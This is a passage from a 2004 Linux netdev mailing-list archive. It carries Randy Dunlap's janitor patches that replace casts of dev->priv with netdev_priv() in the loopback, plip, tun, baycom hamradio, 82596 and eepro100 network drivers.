10:33:04.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/loopback.c 2004-03-03 10:42:24.000000000 -0800 @@ -123,7 +123,7 @@ static void emulate_large_send_offload(s */ static int loopback_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_device_stats *stats = (struct net_device_stats *)dev->priv; + struct net_device_stats *stats = netdev_priv(dev); skb_orphan(skb); diff -puN drivers/net/plip.c~net_generic_casts drivers/net/plip.c --- linux-264-302-priv/drivers/net/plip.c~net_generic_casts 2004-03-03 10:33:04.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/plip.c 2004-03-03 10:52:24.000000000 -0800 @@ -280,7 +280,7 @@ inline static unsigned char read_status static void plip_init_netdev(struct net_device *dev) { - struct net_local *nl = dev->priv; + struct net_local *nl = netdev_priv(dev); /* Then, override parts of it */ dev->hard_start_xmit = plip_tx_packet; @@ -323,7 +323,7 @@ plip_init_netdev(struct net_device *dev) static void plip_kick_bh(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); if (nl->is_deferred) schedule_work(&nl->immediate); @@ -366,7 +366,7 @@ static plip_func connection_state_table[ static void plip_bh(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); struct plip_local *snd = &nl->snd_data; struct plip_local *rcv = &nl->rcv_data; plip_func f; @@ -384,7 +384,7 @@ plip_bh(struct net_device *dev) static void plip_timer_bh(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); if (!(atomic_read (&nl->kill_timer))) { plip_interrupt (-1, dev, NULL); @@ -917,7 +917,7 @@ plip_interrupt(int irq, void *dev_id, st return; } - nl = (struct net_local *)dev->priv; + nl = netdev_priv(dev); rcv = &nl->rcv_data; spin_lock_irq (&nl->lock); @@ -961,7 +961,7 @@ plip_interrupt(int irq, void *dev_id, st static int plip_tx_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); struct plip_local *snd = &nl->snd_data; if (netif_queue_stopped(dev)) @@ -1021,7 +1021,7 @@ plip_hard_header(struct sk_buff *skb, st unsigned short type, void *daddr, void *saddr, unsigned len) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); int ret; if ((ret = nl->orig_hard_header(skb, dev, type, daddr, saddr, len)) >= 0) @@ -1033,7 +1033,7 @@ plip_hard_header(struct sk_buff *skb, st int plip_hard_header_cache(struct neighbour *neigh, struct hh_cache *hh) { - struct net_local *nl = (struct net_local *)neigh->dev->priv; + struct net_local *nl = neigh->dev->priv; int ret; if ((ret = nl->orig_hard_header_cache(neigh, hh)) == 0) @@ -1057,7 +1057,7 @@ int plip_hard_header_cache(struct neighb static int plip_open(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); struct in_device *in_dev; /* Grab the port */ @@ -1116,7 +1116,7 @@ plip_open(struct net_device *dev) static int plip_close(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); struct plip_local *snd = &nl->snd_data; struct plip_local *rcv = &nl->rcv_data; @@ -1163,7 +1163,7 @@ static int plip_preempt(void *handle) { struct net_device *dev = (struct net_device *)handle; - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); /* Stand our ground if a datagram is on the wire */ if (nl->connection != PLIP_CN_NONE) { @@ -1179,7 +1179,7 @@ static void plip_wakeup(void *handle) { struct net_device *dev = (struct net_device *)handle; - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); if (nl->port_owner) { /* Why are we being woken up? */ @@ -1207,7 +1207,7 @@ plip_wakeup(void *handle) static struct net_device_stats * plip_get_stats(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = netdev_priv(dev); struct net_device_stats *r = &nl->enet_stats; return r; @@ -1216,7 +1216,7 @@ plip_get_stats(struct net_device *dev) static int plip_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct net_local *nl = (struct net_local *) dev->priv; + struct net_local *nl = netdev_priv(dev); struct plipconf *pc = (struct plipconf *) &rq->ifr_data; switch(pc->pcmd) { @@ -1288,7 +1288,7 @@ static void plip_attach (struct parport "which is fairly inefficient!\n", port->name); } - nl = dev->priv; + nl = netdev_priv(dev); nl->pardev = parport_register_device(port, name, plip_preempt, plip_wakeup, plip_interrupt, 0, dev); @@ -1348,7 +1348,7 @@ static void __exit plip_cleanup_module ( for (i=0; i < PLIP_MAX; i++) { if ((dev = dev_plip[i])) { - struct net_local *nl = dev->priv; + struct net_local *nl = netdev_priv(dev); unregister_netdev(dev); if (nl->port_owner) parport_release(nl->pardev); diff -puN drivers/net/tun.c~net_generic_casts drivers/net/tun.c --- linux-264-302-priv/drivers/net/tun.c~net_generic_casts 2004-03-03 10:33:04.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tun.c 2004-03-03 10:44:01.000000000 -0800 @@ -70,7 +70,7 @@ static int tun_net_close(struct net_devi /* Net device start xmit */ static int tun_net_xmit(struct sk_buff *skb, struct net_device *dev) { - struct tun_struct *tun = (struct tun_struct *)dev->priv; + struct tun_struct *tun = netdev_priv(dev); DBG(KERN_INFO "%s: tun_net_xmit %d\n", tun->dev->name, skb->len); @@ -113,14 +113,14 @@ static void tun_net_mclist(struct net_de static struct net_device_stats *tun_net_stats(struct net_device *dev) { - struct tun_struct *tun = (struct tun_struct *)dev->priv; + struct tun_struct *tun = netdev_priv(dev); return &tun->stats; } /* Initialize net device. */ static void tun_net_init(struct net_device *dev) { - struct tun_struct *tun = (struct tun_struct *)dev->priv; + struct tun_struct *tun = netdev_priv(dev); switch (tun->flags & TUN_TYPE_MASK) { case TUN_TUN_DEV: @@ -153,7 +153,7 @@ static void tun_net_init(struct net_devi /* Poll */ static unsigned int tun_chr_poll(struct file *file, poll_table * wait) { - struct tun_struct *tun = (struct tun_struct *)file->private_data; + struct tun_struct *tun = file->private_data; unsigned int mask = POLLOUT | POLLWRNORM; if (!tun) @@ -217,7 +217,7 @@ static __inline__ ssize_t tun_get_user(s static ssize_t tun_chr_writev(struct file * file, const struct iovec *iv, unsigned long count, loff_t *pos) { - struct tun_struct *tun = (struct tun_struct *)file->private_data; + struct tun_struct *tun = file->private_data; unsigned long i; size_t len; @@ -279,7 +279,7 @@ static __inline__ ssize_t tun_put_user(s static ssize_t tun_chr_readv(struct file *file, const struct iovec *iv, unsigned long count, loff_t *pos) { - struct tun_struct *tun = (struct tun_struct *)file->private_data; + struct tun_struct *tun = file->private_data; DECLARE_WAITQUEUE(wait, current); struct sk_buff *skb; ssize_t len, ret = 0; @@ -341,7 +341,7 @@ static ssize_t tun_chr_read(struct file static void tun_setup(struct net_device *dev) { - struct tun_struct *tun = dev->priv; + struct tun_struct *tun = netdev_priv(dev); skb_queue_head_init(&tun->readq); init_waitqueue_head(&tun->read_wait); @@ -413,7 +413,7 @@ static int tun_set_iff(struct file *file if (!dev) return -ENOMEM; - tun = dev->priv; + tun = netdev_priv(dev); tun->dev = dev; tun->flags = flags; @@ -455,7 +455,7 @@ static int tun_set_iff(struct file *file static int tun_chr_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg) { - struct tun_struct *tun = (struct tun_struct *)file->private_data; + struct tun_struct *tun = file->private_data; if (cmd == TUNSETIFF && !tun) { struct ifreq ifr; @@ -527,7 +527,7 @@ static int tun_chr_ioctl(struct inode *i static int tun_chr_fasync(int fd, struct file *file, int on) { - struct tun_struct *tun = (struct tun_struct *)file->private_data; + struct tun_struct *tun = file->private_data; int ret; if (!tun) @@ -558,7 +558,7 @@ static int tun_chr_open(struct inode *in static int tun_chr_close(struct inode *inode, struct file *file) { - struct tun_struct *tun = (struct tun_struct *)file->private_data; + struct tun_struct *tun = file->private_data; if (!tun) return 0; _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:18:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:18:52 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LImKO017352 for ; Thu, 4 Mar 2004 13:18:48 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LIhE28690 for ; Thu, 4 Mar 2004 13:18:43 -0800 Date: Thu, 4 Mar 2004 13:17:51 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in /hamradio/ Message-Id: <20040304131751.1443cf90.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3743 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 10069 Lines: 287 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/hamradio/baycom_epp.c | 24 +++++----- linux-264-302-priv-rddunlap/drivers/net/hamradio/baycom_par.c | 12 ++--- linux-264-302-priv-rddunlap/drivers/net/hamradio/baycom_ser_fdx.c | 10 ++-- linux-264-302-priv-rddunlap/drivers/net/hamradio/baycom_ser_hdx.c | 10 ++-- 4 files changed, 28 insertions(+), 28 deletions(-) diff -puN drivers/net/hamradio/baycom_epp.c~net_hamradio_casts drivers/net/hamradio/baycom_epp.c --- linux-264-302-priv/drivers/net/hamradio/baycom_epp.c~net_hamradio_casts 2004-03-02 15:41:21.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/hamradio/baycom_epp.c 2004-03-02 15:49:09.000000000 -0800 @@ -646,7 +646,7 @@ static int transmit(struct baycom_state static void do_rxpacket(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); struct sk_buff *skb; unsigned char *cp; unsigned pktlen; @@ -705,7 +705,7 @@ static void do_rxpacket(struct net_devic static int receive(struct net_device *dev, int cnt) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); struct parport *pp = bc->pdev->port; unsigned int bitbuf, notbitstream, bitstream, numbits, state; unsigned char tmp[128]; @@ -790,7 +790,7 @@ static void epp_bh(struct net_device *de int cnt, cnt2; baycom_paranoia_check_void(dev, "epp_bh"); - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (!bc->work_running) return; baycom_int_freq(bc); @@ -908,7 +908,7 @@ static int baycom_send_packet(struct sk_ struct baycom_state *bc; baycom_paranoia_check(dev, "baycom_send_packet", 0); - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (skb->data[0] != 0) { do_kiss_params(bc, skb->data, skb->len); dev_kfree_skb(skb); @@ -944,7 +944,7 @@ static struct net_device_stats *baycom_g struct baycom_state *bc; baycom_paranoia_check(dev, "baycom_get_stats", NULL); - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); /* * Get the current statistics. This may be called with the * card open or closed. @@ -960,7 +960,7 @@ static void epp_wakeup(void *handle) struct baycom_state *bc; baycom_paranoia_check_void(dev, "epp_wakeup"); - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); printk(KERN_DEBUG "baycom_epp: %s: why am I being woken up?\n", dev->name); if (!parport_claim(bc->pdev)) printk(KERN_DEBUG "baycom_epp: %s: I'm broken.\n", dev->name); @@ -987,7 +987,7 @@ static int epp_open(struct net_device *d unsigned long tstart; baycom_paranoia_check(dev, "epp_open", -ENXIO); - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); pp = parport_find_base(dev->base_addr); if (!pp) { printk(KERN_ERR "%s: parport at 0x%lx unknown\n", bc_drvname, dev->base_addr); @@ -1102,7 +1102,7 @@ static int epp_close(struct net_device * unsigned char tmp[1]; baycom_paranoia_check(dev, "epp_close", -EINVAL); - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); pp = bc->pdev->port; bc->work_running = 0; flush_scheduled_work(); @@ -1163,7 +1163,7 @@ static int baycom_ioctl(struct net_devic struct hdlcdrv_ioctl hi; baycom_paranoia_check(dev, "baycom_ioctl", -EINVAL); - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (cmd != SIOCDEVPRIVATE) return -ENOIOCTLCMD; if (get_user(cmd, (int *)ifr->ifr_data)) @@ -1290,7 +1290,7 @@ static void baycom_probe(struct net_devi /* * not a real probe! only initialize data structures */ - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); /* * initialize the baycom_state struct */ @@ -1351,7 +1351,7 @@ MODULE_LICENSE("GPL"); static void __init baycom_epp_dev_setup(struct net_device *dev) { - struct baycom_state *bc = dev->priv; + struct baycom_state *bc = netdev_priv(dev); /* * initialize part of the baycom_state struct @@ -1415,7 +1415,7 @@ static void __exit cleanup_baycomepp(voi struct net_device *dev = baycom_device[i]; if (dev) { - struct baycom_state *bc = dev->priv; + struct baycom_state *bc = netdev_priv(dev); if (bc->magic == BAYCOM_MAGIC) { unregister_netdev(dev); free_netdev(dev); diff -puN drivers/net/hamradio/baycom_par.c~net_hamradio_casts drivers/net/hamradio/baycom_par.c --- linux-264-302-priv/drivers/net/hamradio/baycom_par.c~net_hamradio_casts 2004-03-02 15:41:21.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/hamradio/baycom_par.c 2004-03-02 15:46:19.000000000 -0800 @@ -272,7 +272,7 @@ static __inline__ void par96_rx(struct n static void par96_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); if (!dev || !bc || bc->hdrv.magic != HDLCDRV_MAGIC) return; @@ -302,7 +302,7 @@ static void par96_interrupt(int irq, voi static void par96_wakeup(void *handle) { struct net_device *dev = (struct net_device *)handle; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); printk(KERN_DEBUG "baycom_par: %s: why am I being woken up?\n", dev->name); if (!parport_claim(bc->pdev)) @@ -313,7 +313,7 @@ static void par96_wakeup(void *handle) static int par96_open(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); struct parport *pp; if (!dev || !bc) @@ -362,7 +362,7 @@ static int par96_open(struct net_device static int par96_close(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); struct parport *pp; if (!dev || !bc) @@ -424,7 +424,7 @@ static int baycom_ioctl(struct net_devic printk(KERN_ERR "bc_ioctl: invalid device struct\n"); return -EINVAL; } - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (cmd != SIOCDEVPRIVATE) return -ENOIOCTLCMD; @@ -524,7 +524,7 @@ static int __init init_baycompar(void) if (IS_ERR(dev)) break; - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (set_hw && baycom_setmode(bc, mode[i])) set_hw = 0; found++; diff -puN drivers/net/hamradio/baycom_ser_fdx.c~net_hamradio_casts drivers/net/hamradio/baycom_ser_fdx.c --- linux-264-302-priv/drivers/net/hamradio/baycom_ser_fdx.c~net_hamradio_casts 2004-03-02 15:41:21.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/hamradio/baycom_ser_fdx.c 2004-03-02 15:44:37.000000000 -0800 @@ -281,7 +281,7 @@ static __inline__ void ser12_rx(struct n static irqreturn_t ser12_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); struct timeval tv; unsigned char iir, msr; unsigned int txcount = 0; @@ -407,7 +407,7 @@ static enum uart ser12_check_uart(unsign static int ser12_open(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); enum uart u; if (!dev || !bc) @@ -466,7 +466,7 @@ static int ser12_open(struct net_device static int ser12_close(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); if (!dev || !bc) return -EINVAL; @@ -536,7 +536,7 @@ static int baycom_ioctl(struct net_devic printk(KERN_ERR "bc_ioctl: invalid device struct\n"); return -EINVAL; } - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (cmd != SIOCDEVPRIVATE) return -ENOIOCTLCMD; @@ -644,7 +644,7 @@ static int __init init_baycomserfdx(void if (IS_ERR(dev)) break; - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (set_hw && baycom_setmode(bc, mode[i])) set_hw = 0; bc->baud = baud[i]; diff -puN drivers/net/hamradio/baycom_ser_hdx.c~net_hamradio_casts drivers/net/hamradio/baycom_ser_hdx.c --- linux-264-302-priv/drivers/net/hamradio/baycom_ser_hdx.c~net_hamradio_casts 2004-03-02 15:41:21.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/hamradio/baycom_ser_hdx.c 2004-03-02 15:49:54.000000000 -0800 @@ -375,7 +375,7 @@ static inline void ser12_rx(struct net_d static irqreturn_t ser12_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); unsigned char iir; if (!dev || !bc || bc->hdrv.magic != HDLCDRV_MAGIC) @@ -468,7 +468,7 @@ static enum uart ser12_check_uart(unsign static int ser12_open(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); enum uart u; if (!dev || !bc) @@ -511,7 +511,7 @@ static int ser12_open(struct net_device static int ser12_close(struct net_device *dev) { - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct baycom_state *bc = netdev_priv(dev); if (!dev || !bc) return -EINVAL; @@ -576,7 +576,7 @@ static int baycom_ioctl(struct net_devic printk(KERN_ERR "bc_ioctl: invalid device struct\n"); return -EINVAL; } - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (cmd != SIOCDEVPRIVATE) return -ENOIOCTLCMD; @@ -681,7 +681,7 @@ static int __init init_baycomserhdx(void if (IS_ERR(dev)) break; - bc = (struct baycom_state *)dev->priv; + bc = netdev_priv(dev); if (set_hw && baycom_setmode(bc, mode[i])) set_hw = 0; found++; _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:19:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:19:10 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LJ2KO017593 for ; Thu, 4 Mar 2004 13:19:03 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LIvE28737 for ; Thu, 4 Mar 2004 13:18:57 -0800 Date: Thu, 4 Mar 2004 13:18:05 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in net/ intel drivers Message-Id: <20040304131805.2e3af4eb.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3744 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 29112 Lines: 840 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/82596.c | 28 +++++----- linux-264-302-priv-rddunlap/drivers/net/eepro.c | 28 +++++----- linux-264-302-priv-rddunlap/drivers/net/eepro100.c | 52 +++++++++---------- linux-264-302-priv-rddunlap/drivers/net/eexpress.c | 34 ++++++------ linux-264-302-priv-rddunlap/drivers/net/lasi_82596.c | 36 ++++++------- 5 files changed, 89 insertions(+), 89 deletions(-) diff -puN drivers/net/82596.c~net_intel_casts drivers/net/82596.c --- linux-264-302-priv/drivers/net/82596.c~net_intel_casts 2004-03-03 11:59:08.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/82596.c 2004-03-03 12:03:40.000000000 -0800 @@ -458,7 +458,7 @@ static inline int wait_cfg(struct net_de static void i596_display_data(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); struct i596_cmd *cmd; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -528,7 +528,7 @@ static irqreturn_t i596_error(int irq, v static inline void init_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = netdev_priv(dev); int i; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -579,7 +579,7 @@ static inline void init_rx_bufs(struct n static inline void remove_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = netdev_priv(dev); struct i596_rbd *rbd; int i; @@ -593,7 +593,7 @@ static inline void remove_rx_bufs(struct static void rebuild_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); int i; /* Ensure rx frame/buffer descriptors are tidy */ @@ -612,7 +612,7 @@ static void rebuild_rx_bufs(struct net_d static int init_i596_mem(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); #if !defined(ENABLE_MVME16x_NET) && !defined(ENABLE_BVME6000_NET) short ioaddr = dev->base_addr; #endif @@ -765,7 +765,7 @@ failed: static inline int i596_rx(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = netdev_priv(dev); struct i596_rfd *rfd; struct i596_rbd *rbd; int frames = 0; @@ -960,7 +960,7 @@ static inline void i596_reset(struct net static void i596_add_cmd(struct net_device *dev, struct i596_cmd *cmd) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); int ioaddr = dev->base_addr; unsigned long flags; @@ -1030,7 +1030,7 @@ static int i596_open(struct net_device * static void i596_tx_timeout (struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); int ioaddr = dev->base_addr; /* Transmitter timeout, serious problems. */ @@ -1059,7 +1059,7 @@ static void i596_tx_timeout (struct net_ static int i596_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); struct tx_cmd *tx_cmd; struct i596_tbd *tbd; short length = skb->len; @@ -1245,7 +1245,7 @@ struct net_device * __init i82596_probe( dev->priv = (void *)(dev->mem_start); - lp = (struct i596_private *) dev->priv; + lp = netdev_priv(dev); DEB(DEB_INIT,printk(KERN_DEBUG "%s: lp at 0x%08lx (%d bytes), lp->scb at 0x%08lx\n", dev->name, (unsigned long)lp, sizeof(struct i596_private), (unsigned long)&lp->scb)); @@ -1305,7 +1305,7 @@ static irqreturn_t i596_interrupt(int ir } ioaddr = dev->base_addr; - lp = (struct i596_private *) dev->priv; + lp = netdev_priv(dev); spin_lock (&lp->lock); @@ -1448,7 +1448,7 @@ static irqreturn_t i596_interrupt(int ir static int i596_close(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); unsigned long flags; netif_stop_queue(dev); @@ -1495,7 +1495,7 @@ static int i596_close(struct net_device static struct net_device_stats * i596_get_stats(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); return &lp->stats; } @@ -1506,7 +1506,7 @@ static struct net_device_stats * static void set_multicast_list(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); int config = 0, cnt; DEB(DEB_MULTI,printk(KERN_DEBUG "%s: set multicast list, %d entries, promisc %s, allmulti %s\n", diff -puN drivers/net/eepro100.c~net_intel_casts drivers/net/eepro100.c --- linux-264-302-priv/drivers/net/eepro100.c~net_intel_casts 2004-03-03 11:59:08.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/eepro100.c 2004-03-03 12:05:18.000000000 -0800 @@ -839,7 +839,7 @@ static int __devinit speedo_found1(struc dev->irq = pdev->irq; - sp = dev->priv; + sp = netdev_priv(dev); sp->pdev = pdev; sp->msg_enable = DEBUG; sp->acpi_pwr = acpi_idle_state; @@ -995,7 +995,7 @@ static void mdio_write(struct net_device static int speedo_open(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; int retval; @@ -1082,7 +1082,7 @@ speedo_open(struct net_device *dev) /* Start the chip hardware after a full reset. */ static void speedo_resume(struct net_device *dev) { - struct speedo_private *sp = dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; /* Start with a Tx threshold of 256 (0x..20.... 8 byte units). */ @@ -1162,7 +1162,7 @@ static void speedo_resume(struct net_dev static void speedo_rx_soft_reset(struct net_device *dev) { - struct speedo_private *sp = dev->priv; + struct speedo_private *sp = netdev_priv(dev); struct RxFD *rfd; long ioaddr; @@ -1194,7 +1194,7 @@ speedo_rx_soft_reset(struct net_device * static void speedo_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; int phy_num = sp->phy[0] & 0x1f; @@ -1239,7 +1239,7 @@ static void speedo_timer(unsigned long d static void speedo_show_state(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); int i; if (netif_msg_pktdata(sp)) { @@ -1282,7 +1282,7 @@ static void speedo_show_state(struct net static void speedo_init_rx_ring(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); struct RxFD *rxf, *last_rxf = NULL; dma_addr_t last_rxf_dma = 0 /* to shut up the compiler */; int i; @@ -1330,7 +1330,7 @@ speedo_init_rx_ring(struct net_device *d static void speedo_purge_tx(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); int entry; while ((int)(sp->cur_tx - sp->dirty_tx) > 0) { @@ -1362,7 +1362,7 @@ static void speedo_purge_tx(struct net_d static void reset_mii(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); /* Reset the MII transceiver, suggested by Fred Young @ scalable.com. */ if ((sp->phy[0] & 0x8000) == 0) { @@ -1385,7 +1385,7 @@ static void reset_mii(struct net_device static void speedo_tx_timeout(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; int status = inw(ioaddr + SCBStatus); unsigned long flags; @@ -1447,7 +1447,7 @@ static void speedo_tx_timeout(struct net static int speedo_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; int entry; @@ -1518,7 +1518,7 @@ speedo_start_xmit(struct sk_buff *skb, s static void speedo_tx_buffer_gc(struct net_device *dev) { unsigned int dirty_tx; - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); dirty_tx = sp->dirty_tx; while ((int)(sp->cur_tx - dirty_tx) > 0) { @@ -1585,7 +1585,7 @@ static irqreturn_t speedo_interrupt(int unsigned int handled = 0; ioaddr = dev->base_addr; - sp = (struct speedo_private *)dev->priv; + sp = netdev_priv(dev); #ifndef final_version /* A lock to prevent simultaneous entry on SMP machines. */ @@ -1677,7 +1677,7 @@ static irqreturn_t speedo_interrupt(int static inline struct RxFD *speedo_rx_alloc(struct net_device *dev, int entry) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); struct RxFD *rxf; struct sk_buff *skb; /* Get a fresh skbuff to replace the consumed one. */ @@ -1704,7 +1704,7 @@ static inline struct RxFD *speedo_rx_all static inline void speedo_rx_link(struct net_device *dev, int entry, struct RxFD *rxf, dma_addr_t rxf_dma) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); rxf->status = cpu_to_le32(0xC0000001); /* '1' for driver use only. */ rxf->link = 0; /* None yet. */ rxf->count = cpu_to_le32(PKT_BUF_SZ << 16); @@ -1718,7 +1718,7 @@ static inline void speedo_rx_link(struct static int speedo_refill_rx_buf(struct net_device *dev, int force) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); int entry; struct RxFD *rxf; @@ -1760,7 +1760,7 @@ static int speedo_refill_rx_buf(struct n static void 